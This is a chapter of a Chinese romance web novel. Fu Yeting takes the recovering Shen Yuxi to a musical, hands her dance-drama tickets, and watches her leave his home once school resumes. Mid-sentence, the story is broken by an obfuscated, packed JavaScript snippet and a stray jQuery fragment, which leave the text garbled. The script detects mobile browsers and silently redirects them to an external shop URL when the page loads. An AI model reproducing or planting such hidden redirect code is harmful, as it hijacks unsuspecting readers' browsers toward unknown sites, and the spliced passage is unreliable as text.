“你刚想说什么?”沈羽汐问。
“今天去医院康复训练之后,我们去外面逛逛吧。”
闻言,沈羽汐愣了下。
自从住在傅夜霆家,这段时间因为腿受伤了行动不便的缘故,除了去医院做检查做康复,她基本上都没有什么别的活动,除了偶尔在楼下,傅夜霆推着轮椅让她晒晒太阳吹吹风,在外面真正意义上的逛已经是很遥远的事了。
现在腿也已经基本能够正常走路了,虽然不能走太久,太久了的话还是会有一点不适感。
“去哪儿?”突然说要出去逛逛,沈羽汐一时间也没想起来到底最想去哪逛,但以她对傅夜霆的了解,他会说出这话,大概率是已经有了想法,甚至是已经安排好了。
“秘密。”傅夜霆笑道。
听到这,沈羽汐也什么太多的指望,不指望是有什么好事,反正去医院是要去的,至于其他,只要不是什么荒唐的事就好。
从医院离开之后,看到海城大剧院的建筑越来越近,沈羽汐本以为会就这么从马路上经过,却没想到傅夜霆方向盘一转,车往大剧院的方向拐进去了,一路驶到了地下停车场。
“我们是要去……?”
之前她其实有关注大剧院演出剧目的习惯,而且海城大剧院有学生票,才80元,虽然位置是最远最高的位置,视野不是特别好,而且火一点的剧目还靠手速抢,手慢无,但是总的来说,性价比特别高,从入学到现在,她在海城大剧院这林林总总加起来看的舞剧音乐剧,也有10多部了。
但这段时间因为腿受伤的缘故,所以她有段时间没关注外面的这些消息了,不过语言考试以及个人作品集还有简历什么的倒是都准备得差不多了。
车停下,傅夜霆从口袋里拿出来两张票。
沈羽汐接过看了一眼,是最近正在热巡的一个法语音乐剧,早几个月就已经开启了售票,但那个时候她手慢没抢到学生票,后面零零星星的也进官网蹲过几次,看有没有退票的回流,但也以失败告终,到最后都已经放弃了。
倒是没想到,傅夜霆说的出来逛逛,竟然是带她来看音乐剧,而且……沈羽汐看了一眼票面,赫然是一层一排一座!这是她从来没有坐过的这么靠前的位置。
“你……”沈羽汐说了一个字之后就没继续往下说了,因为她也不知道该说什么,卡顿的时候,眉头下意识地就微微皱了起来。
是要说,你怎么知道我之前想要看这个音乐剧?
还是说,你怎么想到说要带我来看音乐剧的?
看到沈羽汐这个皱眉的反应,傅夜霆以为是这个音乐剧不合她的心意,于是又像是变戏法一样变出来了两张舞剧的票。
“今天不想看这个的话,下周末还有一个舞剧。”
沈羽汐看了一眼被塞到手里的纸质票,目光闪了一下。
这个舞剧也是她喜欢的国风的舞剧,是根据一本名著改编的,但是不是在海城大剧院,而是在海城的其他剧院,没有学生票,当时,大概是去年的时候,她也是抢了一下最低的票价,没抢到,后面甚至各个档次的票价都有黄牛在炒,几乎都翻倍了。
而此时手里的这两张票,又是最贵的票档,而且是最好的位置。
傅夜霆现在这算是什么意思?是在哄她吗?
“……看。”不看白不看。
开演前十分钟,两人入场。
入座的时候,她听到不远处有人在窃窃私语,虽然压低了声音,而且周围也还算不上安静,但那些话就是零星飘进了她的耳朵。
“这人好帅啊,他旁边的是他女朋友吗?”
“不一定吧,说不定是妹妹呢,情侣的话不得腻乎一点?”
“那我有点想冲了,我要不上去要个联系方式?”
“去去,我支持你!”
余光看着有个人从座位上起身,似乎就是要朝着他们这边来,这时,沈羽汐感觉到自己的手被牵住了,而且是十指紧扣的那种牵。
她抬眸看着傅夜霆的侧脸,他什么也没说,也没看她,就是那么自然而然,并且十分准确地牵起了她的手。
她收回看着傅夜霆的视线,又微微扭头偏向刚刚声音方向,用余光看到那个女生似乎又坐了回去。
所以……傅夜霆这是在用她宣誓主权?把不必要的桃花给免了?
一直到在连座的座位上坐下,他们的手还一直牵着,没有松开。
不只是因为握的久了,还是因为别的什么,沈羽汐感觉到两人相握着的手掌中似乎有微微的湿润,但一时也分不清到底是谁出了汗。
现在这模样,她忽然有一种错觉,就好像,他们在约会一样。
开场音响起,灯光暗下,演出正式开始。
趁着这当口,沈羽汐偷偷抽回了自己的手,好在,没有被抓住。
灯光聚焦在舞台上,观众席基本上是一片黑暗,沈羽汐聚精会神地看着演出,而在这黑暗中,她没有注意到的是,傅夜霆的目光几乎从始至终都落在她身上。
她看台上,而他在看她。
…
过了一礼拜。
周末那个舞剧的票,现在两张票都在沈羽汐手里,是傅夜霆刚刚给她的。
因为公司突然有事,傅夜霆不得不赶去外地出差,周六的飞机,周日下午的舞剧,显然是赶不及。
而且,周一就开学了,准确来说,是周六日就可以返校报到了。
终于,等到开学了。
家门口,傅夜霆提着刚刚收拾好的行李箱,回头看着沈羽汐,这眼神中带着浓浓的不舍,还有更多难以言明的复杂情绪,就好像,他心知肚明,知道今天这一离开,回来时便见不到人了。
“我周日晚上赶回来,周一早上送你去学校,好吗?”傅夜霆开口问,尽管,在问出这句话之前,他心里早就知道会是怎样的答案。
“不用麻烦了,你公司的事情要紧,抓紧时间去处理吧,我这边会自己看着办的。”沈羽汐的语气没有任何的挽留,听在傅夜霆耳中,甚至像是在赶他走。
“那你有什么需要就联系我助理,要收拾这边的东西或是寝室那边搞卫生,他会……”
“不用了,”沈羽汐打断了他的话,“这边也没什么我的东西,寝室那边我室友会帮忙的,而且我现在腿也恢复得差不多了,完全能够自理。”
这边的东西,都是傅夜霆提供的,她自然没有要带走的意思,也就除了最开始的部分衣物,以及她的笔记本电脑和一些用品,除了这些带走的东西,其它她都不会带。
对于这突如其来的出差,沈羽汐觉得来得真是时候,不然
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594702|201989||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,这两天怕是又少不了一顿磋磨。
傅夜霆握了握行李箱的把手,只见他垂眸,敛下情绪。
在工作上,他向来都是说一不二,可是现在,他却有一种想要出尔反尔的冲动,自己当时确实答应过,等开学了就让她离开,可当真正这一天要到来的时候,他却有一些不愿意了。
如果不是临时要出差,如果不是有这个契机,他说不定,真的不会愿意放手。便只当是天意吧,偏偏不早不晚,要是这两天不得不出差去亲自处理工作上的事情。
虽然,只是小汐不再继续住在这,不意味着他们就此一刀两断,只要他想,他可以去找她,至于找到的时候小汐是怎样的态度对他,那是下一个问题了。
“好,那我走了,下次见。”傅夜霆没有再抬眸看她,而是直接转头,走向门口,就好像多看一眼,他就怕自己会改变主意。
门关上之后,沈羽汐静静盯着门盯了好几秒,而后才慢慢收回视线,转头看向客厅茶几,茶几上放着的是那两张舞剧的票。
她拿着两张票,转身回了房间,没有一点拖泥带水的,就立即开始收拾东西。
十分钟后,她出门离开。
楼下不远处停着的一辆车里,傅夜霆静静看着离开的背影。
“傅总,我们该出发去机场了。”助理稍微催促了一下,毕竟错过这一趟飞机,很多安排就又要重新打乱了。
“好。”傅夜霆收回视线,尽管在他的视野中那道身影早已不见。
……
……
回到寝室后,秦潇月也返校了,两人一起收拾了一下寝室,不过主要还是秦潇月自告奋勇发挥了大部分的作用,没让沈羽汐这个刚恢复的伤员累着。
晚上,久违地躺在寝室这一米宽的床上,沈羽汐竟是难得的失眠了,她好像很久没有失眠过了。
手机里,倒是没有那人的打扰,不知道是因为他很忙,还是因为别的什么原因,或许,是怕发来的消息她已读不回吧,那这一点上,傅夜霆倒是挺了解她的。
打开手机,点开聊天框,沈羽汐看着那个消息免打扰的符号在傅夜霆三个字的旁边,她点去设置页面,看着那个按钮,只要轻轻一点,就能够取消消息免打扰,但她终究是保持着原样。
只不过开与不开,目前看来似乎并没有太大的区别,因为并没有消息来,所以没有免打扰的作用。
周日下午,沈羽汐喊着秦潇月一起去看了舞剧。
秦潇月有些激动地问她是什么时候买到的这两张票,毕竟这票难买,而且好座位更难买,都已经被炒得价格都要翻倍了。
她只得搪塞说是有朋友之前买了,然后临时去不了就转给她了。
看完舞剧傍晚回学校的时候,从校门地铁口回寝室,要经过一段学校的围墙,在围墙的旁边就有一排的停车位,因为开学的缘故,平常都没什么人停车的这些个车位,现在热闹多了,不过可能大部分学生返校也差不多了,车位相比他们中午出门的时候,车少了不少。
当天色完全黑下来,时钟逼近晚上10点时,一辆黑色的车稳稳停在了校门口最近的那个车位上,这个车位在傍晚的时候还是空的。
傅夜霆降下车窗,眼底的青黛显示出他这两日连轴转来的疲惫,可他的目光却灼灼,望着那校门。